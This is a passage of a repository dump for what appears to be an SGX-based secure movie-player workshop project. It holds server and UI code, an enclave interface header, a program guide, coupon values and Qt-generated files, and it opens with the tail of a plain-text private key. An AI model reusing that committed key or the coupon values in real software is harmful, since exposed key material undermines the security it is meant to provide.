1/ZUdxe3eNhuQtz+hKALRfzq9YsCgYEA2+J6SjDYBxa6vuWkoAZVI11BeRl9GmRk 17 | 23q9EzpFfyW4KKbami6WL8VLzgPHWqDS3yhtxzDhznanNTc/HJczfncBW3VdZcx+ 18 | EQx4c5KLJr2riT0MEfcgbZw17dRn5Ye75Z8Ynv7koFshtrLwMwGuMpK1H1AalclO 19 | CcDc/S755A8CgYEAxJoWfPoy3z6AzBsx1KxfqxK2XFiPSI4dEaVyUyW52FegpwXO 20 | QdizeXevfVQ39G1RVugAfVfaSDDJwk6PzpscxzZ9/kkOCdQqS269aI4UyKDCO6RT 21 | 4mHCd7mA+TbZS0WfZ7wQ3siB0wVaySI6dP6Zm6Yx2tB4RAe+rKv1YqVqL9MCgYAF 22 | wCyWmCRuOwfzSio+DSxY2m2F70a4U/vXSaR8Rj/fDWt9lK+O7Lz8ztomry6djis1 23 | rucAGKUvMyc4WxOJeeLc4dvlOnKQ4QJDC+Jyk1iUUM2Vr0ULiz0L4NQAPlfhRuWB 24 | IeIQ9nWgRAHjt1ZU3yxhIjkecoffdv5VfvfIn1vlvQKBgQCntyU27QLYPWZaHXRu 25 | l/rKTOIj/tlSv3nGWuwjvbK4Sp5vtkP4kF3cT/Rr/2QEvTBaWXQCr1DEt21PObk8 26 | 3WHvKZgpt8p77JYUhbwKh6Y8+tQcoiBmAEQG5Hn0EPEvM5xFrbxkWKdhqAYN5Lc8 27 | 151dM+/lq8zfNUIzaYxgiQbf5A== 28 | -----END PRIVATE KEY----- 29 | -------------------------------------------------------------------------------- /secureServer/secureServer/media/1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureServer/secureServer/media/1 -------------------------------------------------------------------------------- /secureServer/secureServer/media/2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureServer/secureServer/media/2 -------------------------------------------------------------------------------- /secureServer/secureServer/media/3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureServer/secureServer/media/3 -------------------------------------------------------------------------------- /secureServer/secureServer/media/4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureServer/secureServer/media/4 -------------------------------------------------------------------------------- /secureServer/secureServer/media/6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureServer/secureServer/media/6 -------------------------------------------------------------------------------- /secureServer/secureServer/media/7: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureServer/secureServer/media/7 -------------------------------------------------------------------------------- /secureServer/secureServer/media/blob: -------------------------------------------------------------------------------- 1 | DVSEBLOB -------------------------------------------------------------------------------- /secureServer/secureServer/media/coupons: -------------------------------------------------------------------------------- 1 | DVSE_CPN_10000000000000000000000DVSE_CPN_20000000000000000000000DVSE_CPN_30000000000000000000000DVSE_CPN_40000000000000000000000DVSE_CPN_50000000000000000000000 -------------------------------------------------------------------------------- /secureServer/secureServer/media/epg: -------------------------------------------------------------------------------- 1 | Popeye - i don't care,1,2,payment required, 2 | Popeye - patriotic popeye,2,2,payment required, 3 | Popeye - private eye popeye,3,2,payment required, 4 | Popeye - shuteye popeye,4,2,payment required, 5 | The big bad wolf,6,2,payment required, 6 | woody woodpecker pantry panic,7,2,free view, 7 | -------------------------------------------------------------------------------- /secureServer/secureServer/media/m84_1.mpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureServer/secureServer/media/m84_1.mpg -------------------------------------------------------------------------------- /secureServer/secureServer/media/test-mpeg_512kb.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/secureServer/secureServer/media/test-mpeg_512kb.mp4 -------------------------------------------------------------------------------- /secureServer/secureServer/secureServer.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import ssl 4 | 5 | import socket 6 | import struct 7 | import traceback 8 | 9 | 10 | 11 | def deal_with_client(connstream): 12 | debug = False # avoiding prints to make the server faster 13 | try: 14 | data = connstream.read(8) #size of a name 15 | if debug: 16 | print "length:", len(data) 17 | sz = struct.unpack(" 2 | 3 | 4 | Debug 5 | 2.0 6 | 66d16a56-7e6a-4308-9aad-18a8c4d1d97f 7 | . 8 | secureServer.py 9 | 10 | 11 | . 12 | . 13 | secureServer 14 | secureServer 15 | 16 | 17 | true 18 | false 19 | 20 | 21 | true 22 | false 23 | 24 | 25 | 26 | 27 | 28 | 10.0 29 | $(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion)\Python Tools\Microsoft.PythonTools.targets 30 | 31 | 32 | 33 | 36 | 37 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /secureUI/DVSE_u.h: -------------------------------------------------------------------------------- 1 | #ifndef DVSE_U_H__ 2 | #define DVSE_U_H__ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "sgx_edger8r.h" /* for sgx_status_t etc. */ 9 | 10 | 11 | #define SGX_CAST(type, item) ((type)(item)) 12 | 13 | #ifdef __cplusplus 14 | extern "C" { 15 | #endif 16 | 17 | void* SGX_UBRIDGE(SGX_NOCONVENTION, ocall_file_open, (char* file_name, char* format)); 18 | int SGX_UBRIDGE(SGX_NOCONVENTION, ocall_file_close, (void* handle)); 19 | int SGX_UBRIDGE(SGX_NOCONVENTION, ocall_file_read, (void* handle, size_t offset, size_t datasize, unsigned char* data)); 20 | int SGX_UBRIDGE(SGX_NOCONVENTION, ocall_file_write, (void* handle, size_t datasize, unsigned char* data)); 21 | size_t SGX_UBRIDGE(SGX_NOCONVENTION, ocall_file_size, (void* file_handle)); 22 | void* SGX_UBRIDGE(SGX_NOCONVENTION, ocall_socket_connect, (char* url, unsigned int port)); 23 | void SGX_UBRIDGE(SGX_NOCONVENTION, ocall_socket_shutdown, (void* socket)); 24 | int SGX_UBRIDGE(SGX_NOCONVENTION, ocall_get_the_current_time, (unsigned char thetime[16])); 25 | void SGX_UBRIDGE(SGX_NOCONVENTION, u_sgxssl_ftime64, (void* timeptr, uint32_t timeb64Len)); 26 | int SGX_UBRIDGE(SGX_NOCONVENTION, u_sgxssl_closesocket, (void* s, int* wsaError)); 27 | int SGX_UBRIDGE(SGX_NOCONVENTION, u_sgxssl_recv, (void* s, void* buf, int len, int flag, int* wsaError)); 28 | int SGX_UBRIDGE(SGX_NOCONVENTION, u_sgxssl_send, (void* s, const char* buf, int len, int flags, int* wsaError)); 29 | int SGX_UBRIDGE(SGX_NOCONVENTION, u_sgxssl_shutdown, (void* s, int how, int* wsaError)); 30 | void SGX_UBRIDGE(SGX_CDECL, sgx_oc_cpuidex, (int cpuinfo[4], int leaf, int subleaf)); 31 | int SGX_UBRIDGE(SGX_CDECL, sgx_thread_wait_untrusted_event_ocall, (const void* self)); 32 | int SGX_UBRIDGE(SGX_CDECL, sgx_thread_set_untrusted_event_ocall, (const void* waiter)); 33 | int SGX_UBRIDGE(SGX_CDECL, sgx_thread_setwait_untrusted_events_ocall, (const void* waiter, const void* self)); 34 | int SGX_UBRIDGE(SGX_CDECL, sgx_thread_set_multiple_untrusted_events_ocall, (const void** waiters, size_t total)); 35 | 36 | sgx_status_t ecall_init_enclave(sgx_enclave_id_t eid, int* retval, char* storage_folder, char* address, int port); 37 | sgx_status_t ecall_update_epg(sgx_enclave_id_t eid, int* retval); 38 | sgx_status_t ecall_get_epg_page(sgx_enclave_id_t eid, int* retval, int number, size_t strsize, void* page); 39 | sgx_status_t ecall_prepare_movie(sgx_enclave_id_t eid, int* retval, size_t movie_id); 40 | sgx_status_t ecall_get_movie_chunk(sgx_enclave_id_t eid, int* retval, size_t chunk_offset, size_t chunk_size, void* chunk); 41 | sgx_status_t ecall_get_movie_file_size(sgx_enclave_id_t eid, int* retval, size_t movie_id, size_t* size); 42 | sgx_status_t ecall_try_coupon(sgx_enclave_id_t eid, int* retval, char* coupon); 43 | sgx_status_t ecall_get_balance(sgx_enclave_id_t eid, int* retval, int* balance); 44 | sgx_status_t ecall_write_log(sgx_enclave_id_t eid, int* retval, size_t logsize, char* logstr); 45 | 46 | #ifdef __cplusplus 47 | } 48 | #endif /* __cplusplus */ 49 | 50 | #endif 51 | -------------------------------------------------------------------------------- /secureUI/EPG.ui: -------------------------------------------------------------------------------- 1 | 2 | 3 | EPGDialog 4 | 5 | 6 | 7 | 0 8 | 0 9 | 1299 10 | 425 11 | 12 | 13 | 14 | Electronic program guide (EPG). Doubleclick the movie to view. 15 | 16 | 17 | 18 | 19 | 1030 20 | 390 21 | 261 22 | 32 23 | 24 | 25 | 26 | Qt::Horizontal 27 | 28 | 29 | QDialogButtonBox::Apply|QDialogButtonBox::Cancel|QDialogButtonBox::Close|QDialogButtonBox::Ok 30 | 31 | 32 | 33 | 34 | 35 | 10 36 | 10 37 | 1281 38 | 371 39 | 40 | 41 | 42 | true 43 | 44 | 45 | 5 46 | 47 | 48 | true 49 | 50 | 51 | true 52 | 53 | 54 | true 55 | 56 | 57 | true 58 | 59 | 60 | true 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | buttonBox 73 | accepted() 74 | EPGDialog 75 | accept() 76 | 77 | 78 | 248 79 | 254 80 | 81 | 82 | 157 83 | 274 84 | 85 | 86 | 87 | 88 | buttonBox 89 | rejected() 90 | EPGDialog 91 | reject() 92 | 93 | 94 | 316 95 | 260 96 | 97 | 98 | 286 99 | 274 100 | 101 | 102 | 103 | 104 | tableWidget 105 | cellDoubleClicked(int,int) 106 | EPGDialog 107 | itemDoubleClicked(int,int) 108 | 109 | 110 | 650 111 | 195 112 | 113 | 114 | 649 115 | 212 116 | 117 | 118 | 119 | 120 | 121 | itemDoubleClicked(int,int) 122 | 123 | 124 | -------------------------------------------------------------------------------- /secureUI/GeneratedFiles/ui_EPG.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************** 2 | ** Form generated from reading UI file 'EPG.ui' 3 | ** 4 | ** Created by: Qt User Interface Compiler version 5.8.0 5 | ** 6 | ** WARNING! All changes made in this file will be lost when recompiling UI file! 7 | ********************************************************************************/ 8 | 9 | #ifndef UI_EPG_H 10 | #define UI_EPG_H 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | QT_BEGIN_NAMESPACE 22 | 23 | class Ui_EPGDialog 24 | { 25 | public: 26 | QDialogButtonBox *buttonBox; 27 | QTableWidget *tableWidget; 28 | 29 | void setupUi(QDialog *EPGDialog) 30 | { 31 | if (EPGDialog->objectName().isEmpty()) 32 | EPGDialog->setObjectName(QStringLiteral("EPGDialog")); 33 | EPGDialog->resize(1299, 425); 34 | buttonBox = new QDialogButtonBox(EPGDialog); 35 | buttonBox->setObjectName(QStringLiteral("buttonBox")); 36 | buttonBox->setGeometry(QRect(1030, 390, 261, 32)); 37 | buttonBox->setOrientation(Qt::Horizontal); 38 | buttonBox->setStandardButtons(QDialogButtonBox::Apply|QDialogButtonBox::Cancel|QDialogButtonBox::Close|QDialogButtonBox::Ok); 39 | tableWidget = new QTableWidget(EPGDialog); 40 | if (tableWidget->columnCount() < 5) 41 | tableWidget->setColumnCount(5); 42 | tableWidget->setObjectName(QStringLiteral("tableWidget")); 43 | tableWidget->setGeometry(QRect(10, 10, 1281, 371)); 44 | tableWidget->setSortingEnabled(true); 45 | tableWidget->setColumnCount(5); 46 | tableWidget->horizontalHeader()->setCascadingSectionResizes(true); 47 | tableWidget->horizontalHeader()->setStretchLastSection(true); 48 | tableWidget->verticalHeader()->setCascadingSectionResizes(true); 49 | tableWidget->verticalHeader()->setProperty("showSortIndicator", QVariant(true)); 50 | tableWidget->verticalHeader()->setStretchLastSection(true); 51 | 52 | retranslateUi(EPGDialog); 53 | QObject::connect(buttonBox, SIGNAL(accepted()), EPGDialog, SLOT(accept())); 54 | QObject::connect(buttonBox, SIGNAL(rejected()), EPGDialog, SLOT(reject())); 55 | QObject::connect(tableWidget, SIGNAL(cellDoubleClicked(int,int)), EPGDialog, SLOT(itemDoubleClicked(int,int))); 56 | 57 | QMetaObject::connectSlotsByName(EPGDialog); 58 | } // setupUi 59 | 60 | void retranslateUi(QDialog *EPGDialog) 61 | { 62 | EPGDialog->setWindowTitle(QApplication::translate("EPGDialog", "Electronic program guide (EPG). Doubleclick the movie to view.", Q_NULLPTR)); 63 | } // retranslateUi 64 | 65 | }; 66 | 67 | namespace Ui { 68 | class EPGDialog: public Ui_EPGDialog {}; 69 | } // namespace Ui 70 | 71 | QT_END_NAMESPACE 72 | 73 | #endif // UI_EPG_H 74 | -------------------------------------------------------------------------------- /secureUI/Prerelease/moc_epgdialog.cpp: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | ** Meta object code from reading C++ file 'epgdialog.h' 3 | ** 4 | ** Created by: The Qt Meta Object Compiler version 67 (Qt 5.8.0) 5 | ** 6 | ** WARNING! All changes made in this file will be lost! 7 | *****************************************************************************/ 8 | 9 | #include "../epgdialog.h" 10 | #include 11 | #include 12 | #if !defined(Q_MOC_OUTPUT_REVISION) 13 | #error "The header file 'epgdialog.h' doesn't include ." 14 | #elif Q_MOC_OUTPUT_REVISION != 67 15 | #error "This file was generated using the moc from 5.8.0. It" 16 | #error "cannot be used with the include files from this version of Qt." 17 | #error "(The moc has changed too much.)" 18 | #endif 19 | 20 | QT_BEGIN_MOC_NAMESPACE 21 | QT_WARNING_PUSH 22 | QT_WARNING_DISABLE_DEPRECATED 23 | struct qt_meta_stringdata_EPGDialog_t { 24 | QByteArrayData data[3]; 25 | char stringdata0[29]; 26 | }; 27 | #define QT_MOC_LITERAL(idx, ofs, len) \ 28 | Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ 29 | qptrdiff(offsetof(qt_meta_stringdata_EPGDialog_t, stringdata0) + ofs \ 30 | - idx * sizeof(QByteArrayData)) \ 31 | ) 32 | static const qt_meta_stringdata_EPGDialog_t qt_meta_stringdata_EPGDialog = { 33 | { 34 | QT_MOC_LITERAL(0, 0, 9), // "EPGDialog" 35 | QT_MOC_LITERAL(1, 10, 17), // "itemDoubleClicked" 36 | QT_MOC_LITERAL(2, 28, 0) // "" 37 | 38 | }, 39 | "EPGDialog\0itemDoubleClicked\0" 40 | }; 41 | #undef QT_MOC_LITERAL 42 | 43 | static const uint qt_meta_data_EPGDialog[] = { 44 | 45 | // content: 46 | 7, // revision 47 | 0, // classname 48 | 0, 0, // classinfo 49 | 1, 14, // methods 50 | 0, 0, // properties 51 | 0, 0, // enums/sets 52 | 0, 0, // constructors 53 | 0, // flags 54 | 0, // signalCount 55 | 56 | // slots: name, argc, parameters, tag, flags 57 | 1, 2, 19, 2, 0x0a /* Public */, 58 | 59 | // slots: parameters 60 | QMetaType::Void, QMetaType::Int, QMetaType::Int, 2, 2, 61 | 62 | 0 // eod 63 | }; 64 | 65 | void EPGDialog::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) 66 | { 67 | if (_c == QMetaObject::InvokeMetaMethod) { 68 | EPGDialog *_t = static_cast(_o); 69 | Q_UNUSED(_t) 70 | switch (_id) { 71 | case 0: _t->itemDoubleClicked((*reinterpret_cast< int(*)>(_a[1])),(*reinterpret_cast< int(*)>(_a[2]))); break; 72 | default: ; 73 | } 74 | } 75 | } 76 | 77 | const QMetaObject EPGDialog::staticMetaObject = { 78 | { &QDialog::staticMetaObject, qt_meta_stringdata_EPGDialog.data, 79 | qt_meta_data_EPGDialog, qt_static_metacall, Q_NULLPTR, Q_NULLPTR} 80 | }; 81 | 82 | 83 | const QMetaObject *EPGDialog::metaObject() const 84 | { 85 | return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; 86 | } 87 | 88 | void *EPGDialog::qt_metacast(const char *_clname) 89 | { 90 | if (!_clname) return Q_NULLPTR; 91 | if (!strcmp(_clname, qt_meta_stringdata_EPGDialog.stringdata0)) 92 | return static_cast(const_cast< EPGDialog*>(this)); 93 | return QDialog::qt_metacast(_clname); 94 | } 95 | 96 | int EPGDialog::qt_metacall(QMetaObject::Call _c, int _id, void **_a) 97 | { 98 | _id = QDialog::qt_metacall(_c, _id, _a); 99 | if (_id < 0) 100 | return _id; 101 | if (_c == QMetaObject::InvokeMetaMethod) { 102 | if (_id < 1) 103 | qt_static_metacall(this, _c, _id, _a); 104 | _id -= 1; 105 | } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { 106 | if (_id < 1) 107 | *reinterpret_cast(_a[0]) = -1; 108 | _id -= 1; 109 | } 110 | return _id; 111 | } 112 | QT_WARNING_POP 113 | QT_END_MOC_NAMESPACE 114 | -------------------------------------------------------------------------------- /secureUI/Prerelease/moc_mainwindow.cpp: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | ** Meta object code from reading C++ file 'mainwindow.h' 3 | ** 4 | ** Created by: The Qt Meta Object Compiler version 67 (Qt 5.8.0) 5 | ** 6 | ** WARNING! All changes made in this file will be lost! 7 | *****************************************************************************/ 8 | 9 | #include "../mainwindow.h" 10 | #include 11 | #include 12 | #if !defined(Q_MOC_OUTPUT_REVISION) 13 | #error "The header file 'mainwindow.h' doesn't include ." 14 | #elif Q_MOC_OUTPUT_REVISION != 67 15 | #error "This file was generated using the moc from 5.8.0. It" 16 | #error "cannot be used with the include files from this version of Qt." 17 | #error "(The moc has changed too much.)" 18 | #endif 19 | 20 | QT_BEGIN_MOC_NAMESPACE 21 | QT_WARNING_PUSH 22 | QT_WARNING_DISABLE_DEPRECATED 23 | struct qt_meta_stringdata_MainWindow_t { 24 | QByteArrayData data[9]; 25 | char stringdata0[200]; 26 | }; 27 | #define QT_MOC_LITERAL(idx, ofs, len) \ 28 | Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ 29 | qptrdiff(offsetof(qt_meta_stringdata_MainWindow_t, stringdata0) + ofs \ 30 | - idx * sizeof(QByteArrayData)) \ 31 | ) 32 | static const qt_meta_stringdata_MainWindow_t qt_meta_stringdata_MainWindow = { 33 | { 34 | QT_MOC_LITERAL(0, 0, 10), // "MainWindow" 35 | QT_MOC_LITERAL(1, 11, 23), // "on_actionOpen_triggered" 36 | QT_MOC_LITERAL(2, 35, 0), // "" 37 | QT_MOC_LITERAL(3, 36, 23), // "on_actionPlay_triggered" 38 | QT_MOC_LITERAL(4, 60, 24), // "on_actionPause_triggered" 39 | QT_MOC_LITERAL(5, 85, 23), // "on_actionStop_triggered" 40 | QT_MOC_LITERAL(6, 109, 28), // "on_actionManageEPG_triggered" 41 | QT_MOC_LITERAL(7, 138, 36), // "on_actionClean_the_library_tr..." 42 | QT_MOC_LITERAL(8, 175, 24) // "on_actionSetup_triggered" 43 | 44 | }, 45 | "MainWindow\0on_actionOpen_triggered\0\0" 46 | "on_actionPlay_triggered\0" 47 | "on_actionPause_triggered\0" 48 | "on_actionStop_triggered\0" 49 | "on_actionManageEPG_triggered\0" 50 | "on_actionClean_the_library_triggered\0" 51 | "on_actionSetup_triggered" 52 | }; 53 | #undef QT_MOC_LITERAL 54 | 55 | static const uint qt_meta_data_MainWindow[] = { 56 | 57 | // content: 58 | 7, // revision 59 | 0, // classname 60 | 0, 0, // classinfo 61 | 7, 14, // methods 62 | 0, 0, // properties 63 | 0, 0, // enums/sets 64 | 0, 0, // constructors 65 | 0, // flags 66 | 0, // signalCount 67 | 68 | // slots: name, argc, parameters, tag, flags 69 | 1, 0, 49, 2, 0x08 /* Private */, 70 | 3, 0, 50, 2, 0x08 /* Private */, 71 | 4, 0, 51, 2, 0x08 /* Private */, 72 | 5, 0, 52, 2, 0x08 /* Private */, 73 | 6, 0, 53, 2, 0x08 /* Private */, 74 | 7, 0, 54, 2, 0x08 /* Private */, 75 | 8, 0, 55, 2, 0x08 /* Private */, 76 | 77 | // slots: parameters 78 | QMetaType::Void, 79 | QMetaType::Void, 80 | QMetaType::Void, 81 | QMetaType::Void, 82 | QMetaType::Void, 83 | QMetaType::Void, 84 | QMetaType::Void, 85 | 86 | 0 // eod 87 | }; 88 | 89 | void MainWindow::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) 90 | { 91 | if (_c == QMetaObject::InvokeMetaMethod) { 92 | MainWindow *_t = static_cast(_o); 93 | Q_UNUSED(_t) 94 | switch (_id) { 95 | case 0: _t->on_actionOpen_triggered(); break; 96 | case 1: _t->on_actionPlay_triggered(); break; 97 | case 2: _t->on_actionPause_triggered(); break; 98 | case 3: _t->on_actionStop_triggered(); break; 99 | case 4: _t->on_actionManageEPG_triggered(); break; 100 | case 5: _t->on_actionClean_the_library_triggered(); break; 101 | case 6: _t->on_actionSetup_triggered(); break; 102 | default: ; 103 | } 104 | } 105 | Q_UNUSED(_a); 106 | } 107 | 108 | const QMetaObject MainWindow::staticMetaObject = { 109 | { &QMainWindow::staticMetaObject, qt_meta_stringdata_MainWindow.data, 110 | qt_meta_data_MainWindow, qt_static_metacall, Q_NULLPTR, Q_NULLPTR} 111 | }; 112 | 113 | 114 | const QMetaObject *MainWindow::metaObject() const 115 | { 116 | return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; 117 | } 118 | 119 | void *MainWindow::qt_metacast(const char *_clname) 120 | { 121 | if (!_clname) return Q_NULLPTR; 122 | if (!strcmp(_clname, qt_meta_stringdata_MainWindow.stringdata0)) 123 | return static_cast(const_cast< MainWindow*>(this)); 124 | return QMainWindow::qt_metacast(_clname); 125 | } 126 | 127 | int MainWindow::qt_metacall(QMetaObject::Call _c, int _id, void **_a) 128 | { 129 | _id = QMainWindow::qt_metacall(_c, _id, _a); 130 | if (_id < 0) 131 | return _id; 132 | if (_c == QMetaObject::InvokeMetaMethod) { 133 | if (_id < 7) 134 | qt_static_metacall(this, _c, _id, _a); 135 | _id -= 7; 136 | } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { 137 | if (_id < 7) 138 | *reinterpret_cast(_a[0]) = -1; 139 | _id -= 7; 140 | } 141 | return _id; 142 | } 143 | QT_WARNING_POP 144 | QT_END_MOC_NAMESPACE 145 | -------------------------------------------------------------------------------- /secureUI/Prerelease/moc_setupdialog.cpp: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | ** Meta object code from reading C++ file 'setupdialog.h' 3 | ** 4 | ** Created by: The Qt Meta Object Compiler version 67 (Qt 5.8.0) 5 | ** 6 | ** WARNING! All changes made in this file will be lost! 7 | *****************************************************************************/ 8 | 9 | #include "../setupdialog.h" 10 | #include 11 | #include 12 | #if !defined(Q_MOC_OUTPUT_REVISION) 13 | #error "The header file 'setupdialog.h' doesn't include ." 14 | #elif Q_MOC_OUTPUT_REVISION != 67 15 | #error "This file was generated using the moc from 5.8.0. It" 16 | #error "cannot be used with the include files from this version of Qt." 17 | #error "(The moc has changed too much.)" 18 | #endif 19 | 20 | QT_BEGIN_MOC_NAMESPACE 21 | QT_WARNING_PUSH 22 | QT_WARNING_DISABLE_DEPRECATED 23 | struct qt_meta_stringdata_SetupDialog_t { 24 | QByteArrayData data[5]; 25 | char stringdata0[59]; 26 | }; 27 | #define QT_MOC_LITERAL(idx, ofs, len) \ 28 | Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ 29 | qptrdiff(offsetof(qt_meta_stringdata_SetupDialog_t, stringdata0) + ofs \ 30 | - idx * sizeof(QByteArrayData)) \ 31 | ) 32 | static const qt_meta_stringdata_SetupDialog_t qt_meta_stringdata_SetupDialog = { 33 | { 34 | QT_MOC_LITERAL(0, 0, 11), // "SetupDialog" 35 | QT_MOC_LITERAL(1, 12, 15), // "applyCouponSlot" 36 | QT_MOC_LITERAL(2, 28, 0), // "" 37 | QT_MOC_LITERAL(3, 29, 12), // "testConnSlot" 38 | QT_MOC_LITERAL(4, 42, 16) // "chooseFolderSlot" 39 | 40 | }, 41 | "SetupDialog\0applyCouponSlot\0\0testConnSlot\0" 42 | "chooseFolderSlot" 43 | }; 44 | #undef QT_MOC_LITERAL 45 | 46 | static const uint qt_meta_data_SetupDialog[] = { 47 | 48 | // content: 49 | 7, // revision 50 | 0, // classname 51 | 0, 0, // classinfo 52 | 3, 14, // methods 53 | 0, 0, // properties 54 | 0, 0, // enums/sets 55 | 0, 0, // constructors 56 | 0, // flags 57 | 0, // signalCount 58 | 59 | // slots: name, argc, parameters, tag, flags 60 | 1, 0, 29, 2, 0x0a /* Public */, 61 | 3, 0, 30, 2, 0x0a /* Public */, 62 | 4, 0, 31, 2, 0x0a /* Public */, 63 | 64 | // slots: parameters 65 | QMetaType::Void, 66 | QMetaType::Void, 67 | QMetaType::Void, 68 | 69 | 0 // eod 70 | }; 71 | 72 | void SetupDialog::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) 73 | { 74 | if (_c == QMetaObject::InvokeMetaMethod) { 75 | SetupDialog *_t = static_cast(_o); 76 | Q_UNUSED(_t) 77 | switch (_id) { 78 | case 0: _t->applyCouponSlot(); break; 79 | case 1: _t->testConnSlot(); break; 80 | case 2: _t->chooseFolderSlot(); break; 81 | default: ; 82 | } 83 | } 84 | Q_UNUSED(_a); 85 | } 86 | 87 | const QMetaObject SetupDialog::staticMetaObject = { 88 | { &QDialog::staticMetaObject, qt_meta_stringdata_SetupDialog.data, 89 | qt_meta_data_SetupDialog, qt_static_metacall, Q_NULLPTR, Q_NULLPTR} 90 | }; 91 | 92 | 93 | const QMetaObject *SetupDialog::metaObject() const 94 | { 95 | return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; 96 | } 97 | 98 | void *SetupDialog::qt_metacast(const char *_clname) 99 | { 100 | if (!_clname) return Q_NULLPTR; 101 | if (!strcmp(_clname, qt_meta_stringdata_SetupDialog.stringdata0)) 102 | return static_cast(const_cast< SetupDialog*>(this)); 103 | return QDialog::qt_metacast(_clname); 104 | } 105 | 106 | int SetupDialog::qt_metacall(QMetaObject::Call _c, int _id, void **_a) 107 | { 108 | _id = QDialog::qt_metacall(_c, _id, _a); 109 | if (_id < 0) 110 | return _id; 111 | if (_c == QMetaObject::InvokeMetaMethod) { 112 | if (_id < 3) 113 | qt_static_metacall(this, _c, _id, _a); 114 | _id -= 3; 115 | } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { 116 | if (_id < 3) 117 | *reinterpret_cast(_a[0]) = -1; 118 | _id -= 3; 119 | } 120 | return _id; 121 | } 122 | QT_WARNING_POP 123 | QT_END_MOC_NAMESPACE 124 | -------------------------------------------------------------------------------- /secureUI/Simulation/moc_epgdialog.cpp: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | ** Meta object code from reading C++ file 'epgdialog.h' 3 | ** 4 | ** Created by: The Qt Meta Object Compiler version 67 (Qt 5.8.0) 5 | ** 6 | ** WARNING! All changes made in this file will be lost! 7 | *****************************************************************************/ 8 | 9 | #include "../epgdialog.h" 10 | #include 11 | #include 12 | #if !defined(Q_MOC_OUTPUT_REVISION) 13 | #error "The header file 'epgdialog.h' doesn't include ." 14 | #elif Q_MOC_OUTPUT_REVISION != 67 15 | #error "This file was generated using the moc from 5.8.0. It" 16 | #error "cannot be used with the include files from this version of Qt." 17 | #error "(The moc has changed too much.)" 18 | #endif 19 | 20 | QT_BEGIN_MOC_NAMESPACE 21 | QT_WARNING_PUSH 22 | QT_WARNING_DISABLE_DEPRECATED 23 | struct qt_meta_stringdata_EPGDialog_t { 24 | QByteArrayData data[3]; 25 | char stringdata0[29]; 26 | }; 27 | #define QT_MOC_LITERAL(idx, ofs, len) \ 28 | Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ 29 | qptrdiff(offsetof(qt_meta_stringdata_EPGDialog_t, stringdata0) + ofs \ 30 | - idx * sizeof(QByteArrayData)) \ 31 | ) 32 | static const qt_meta_stringdata_EPGDialog_t qt_meta_stringdata_EPGDialog = { 33 | { 34 | QT_MOC_LITERAL(0, 0, 9), // "EPGDialog" 35 | QT_MOC_LITERAL(1, 10, 17), // "itemDoubleClicked" 36 | QT_MOC_LITERAL(2, 28, 0) // "" 37 | 38 | }, 39 | "EPGDialog\0itemDoubleClicked\0" 40 | }; 41 | #undef QT_MOC_LITERAL 42 | 43 | static const uint qt_meta_data_EPGDialog[] = { 44 | 45 | // content: 46 | 7, // revision 47 | 0, // classname 48 | 0, 0, // classinfo 49 | 1, 14, // methods 50 | 0, 0, // properties 51 | 0, 0, // enums/sets 52 | 0, 0, // constructors 53 | 0, // flags 54 | 0, // signalCount 55 | 56 | // slots: name, argc, parameters, tag, flags 57 | 1, 2, 19, 2, 0x0a /* Public */, 58 | 59 | // slots: parameters 60 | QMetaType::Void, QMetaType::Int, QMetaType::Int, 2, 2, 61 | 62 | 0 // eod 63 | }; 64 | 65 | void EPGDialog::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) 66 | { 67 | if (_c == QMetaObject::InvokeMetaMethod) { 68 | EPGDialog *_t = static_cast(_o); 69 | Q_UNUSED(_t) 70 | switch (_id) { 71 | case 0: _t->itemDoubleClicked((*reinterpret_cast< 